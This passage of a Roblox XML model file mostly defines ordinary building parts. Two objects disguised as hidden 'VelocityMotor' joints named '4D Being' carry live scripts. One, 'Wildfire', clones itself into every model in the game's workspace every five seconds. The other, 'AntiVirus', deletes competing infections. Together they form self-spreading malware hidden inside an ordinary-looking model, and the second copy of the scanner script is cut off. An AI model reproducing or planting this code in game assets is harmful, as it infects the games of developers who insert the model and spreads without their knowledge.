							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>125</X>
								<Y>11.2000008</Y>
								<Z>222</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1060">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>141</X>
								<Y>11.2000008</Y>
								<Z>236</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1061">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>127</X>
								<Y>11.2000008</Y>
								<Z>252</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX1062">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX1063">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>111</X>
								<Y>13.6000004</Y>
								<Z>238</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1064">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>125</X>
								<Y>13.6000004</Y>
								<Z>222</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1065">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>141</X>
								<Y>13.6000004</Y>
								<Z>236</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1066">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1004</int>
							<CoordinateFrame name="CFrame">
								<X>127</X>
								<Y>13.6000004</Y>
								<Z>252</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0.600000024</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>30</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="VelocityMotor" referent="RBX1067">
				<Properties>
					<CoordinateFrame name="C0">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<CoordinateFrame name="C1">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<float name="CurrentAngle">0</float>
					<float name="DesiredAngle">0</float>
					<Ref name="Hole">null</Ref>
					<float name="MaxVelocity">0</float>
					<string name="Name">4D Being</string>
					<Ref name="Part0">null</Ref>
					<Ref name="Part1">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX1068">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">l = Instance.new(&quot;VelocityMotor&quot;)
l.Parent = script.Parent
l.Name = &quot;4D Being&quot;
script.Parent = l
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX1069">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">4D Being</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX1070">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wildfire</string>
								<string name="Source">function dive()


p= game.Workspace:GetChildren()	


for i= 1, #p do				


if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;4D Being&quot;) == nil then


script.Parent.Parent:clone().Parent = p[i]


end


end


end





while true do


wait(5)


dive()


end


</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX1071">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">AntiVirus</string>
								<string name="Source">maliciousscripts = {&quot;Infected&quot;, &quot;Anti-Lag&quot;}
maliciousobjects = {&quot;OHAI&quot;, &quot;No samurai plzzz&quot;, &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;, &quot;IMDOINGITOKSODONTKILLMENOW&quot;}
maliciousclasses = {&quot;Geometry&quot;, &quot;Timer&quot;}
hiddenclasses = {&quot;AutoJoint&quot;, &quot;BackpackItem&quot;, &quot;Feature&quot;, &quot;Glue&quot;, &quot;HtmlWindow&quot;, &quot;JointInstance&quot;, &quot;LocalBackpack&quot;, &quot;LocalBackpackItem&quot;, &quot;MotorFeature&quot;, &quot;Mouse&quot;, &quot;Rotate&quot;, &quot;RotateP&quot;, &quot;RotateV&quot;, &quot;Snap&quot;, &quot;StockSound&quot;, &quot;VelocityMotor&quot;, &quot;Weld&quot;}

--set these three variables to your liking
local printAll = false
local fullscan = true
local doublescan = false
--set these three variables to your liking

--Type &quot;ScanForViruses(model,0,true)&quot; to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type &quot;ScanForViruses(model,0,false)&quot; to reveal all scripts.

function getAncestry(i)
	local s = &quot;&quot;
	local p = i.Parent
	s = p.Name
	while p ~= game do
		p = p.Parent
		s = p.Name..&quot;.&quot;..s
	end
	return s
end

function Check(i,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if i == nil then return end
	if printAll then print(s..&quot;Checking &quot;..i.Name) end
	if i == script then return end --don&apos;t need to check self, will still check children of self
	if i.className == &quot;Script&quot; then
		for x = 1, #maliciousscripts do
			if i.Name == maliciousscripts[x] then
--				print(&quot;Malicious script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --&quot;Infected&quot; scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
--			print(&quot;Script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;)
		end
	end
	for x = 1, #maliciousobjects do
		if i.Name == maliciousobjects[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --Unlikely that people will give a legitimate object a name used on the malicious object list
			i:Remove()
			return
		end
	end
	for x = 1, #maliciousclasses do
		if i.className == maliciousclasses[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --unlikely to be useful, likely to be malicious and removed
			i:Remove()
			return
		end
	end
	for x = 1, #hiddenclasses do
		if (hiddenclasses[x] == &quot;Rotate&quot; or hiddenclasses[x] == &quot;Weld&quot; or hiddenclasses[x] == &quot;Snap&quot; or hiddenclasses[x] == &quot;Glue&quot; or hiddenclasses[x] == &quot;Motor&quot; or hiddenclasses[x] == &quot;AutoJoint&quot; or hiddenclasses[x] == &quot;JointInstance&quot; or hiddenclasses[x] == &quot;MotorFeature&quot; or hiddenclasses[x] == &quot;VelocityMotor&quot;) and i.Parent == game.JointsService then
			--do not notify of these
		else
			if i.className == hiddenclasses[x] then
--				print(&quot;Hidden object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --not necessarily malicious, but may be. Remove only if you didn&apos;t except the object to be in there
			end
		end
	end
end

_G[&quot;ScanForViruses&quot;] = function(m,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if m == nil then return end
	if m == game.Stats then return end
	if m.Name == &quot;GuiRoot&quot; and m.Parent == game then return end
	if printAll then print(s..&quot;Scanning children of &quot;..m.Name) end
	local c = m:getChildren()
	if #c &gt; 0 then
		for i = 1,#c do
			Check(c[i],n+1,w)
			if (c[i] == game.Workspace) then
				ScanForViruses(c[i],n+1,true)
			else
				ScanForViruses(c[i],n+1,w)
			end
		end
	end
end

ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild(&quot;Teams&quot;),1,true)
ScanForViruses(game.Soundscape,1,true)

--print(&quot;QuickScan Complete&quot;)

if fullscan then wait(5) ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)

if doublescan then ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1072">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>215.5</X>
					<Y>4.4000001</Y>
					<Z>185.800003</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>1</R12>
					<R20>0</R20>
					<R21>-1</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>61</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1073">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>195</X>
					<Y>15.4000006</Y>
					<Z>200</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0.5</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>12</X>
					<Y>8.40000057</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="VelocityMotor" referent="RBX1074">
			<Properties>
				<CoordinateFrame name="C0">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<CoordinateFrame name="C1">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<float name="CurrentAngle">0</float>
				<float name="DesiredAngle">0</float>
				<Ref name="Hole">null</Ref>
				<float name="MaxVelocity">0</float>
				<string name="Name">4D Being</string>
				<Ref name="Part0">null</Ref>
				<Ref name="Part1">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Script" referent="RBX1075">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">l = Instance.new(&quot;VelocityMotor&quot;)
l.Parent = script.Parent
l.Name = &quot;4D Being&quot;
script.Parent = l
</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX1076">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">4D Being</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX1077">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Wildfire</string>
							<string name="Source">function dive()


p= game.Workspace:GetChildren()	


for i= 1, #p do				


if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;4D Being&quot;) == nil then


script.Parent.Parent:clone().Parent = p[i]


end


end


end





while true do


wait(5)


dive()


end


</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1078">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">AntiVirus</string>
							<string name="Source">maliciousscripts = {&quot;Infected&quot;, &quot;Anti-Lag&quot;}
maliciousobjects = {&quot;OHAI&quot;, &quot;No samurai plzzz&quot;, &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;, &quot;IMDOINGITOKSODONTKILLMENOW&quot;}
maliciousclasses = {&quot;Geometry&quot;, &quot;Timer&quot;}
hiddenclasses = {&quot;AutoJoint&quot;, &quot;BackpackItem&quot;, &quot;Feature&quot;, &quot;Glue&quot;, &quot;HtmlWindow&quot;, &quot;JointInstance&quot;, &quot;LocalBackpack&quot;, &quot;LocalBackpackItem&quot;, &quot;MotorFeature&quot;, &quot;Mouse&quot;, &quot;Rotate&quot;, &quot;RotateP&quot;, &quot;RotateV&quot;, &quot;Snap&quot;, &quot;StockSound&quot;, &quot;VelocityMotor&quot;, &quot;Weld&quot;}

--set these three variables to your liking
local printAll = false
local fullscan = true
local doublescan = false
--set these three variables to your liking

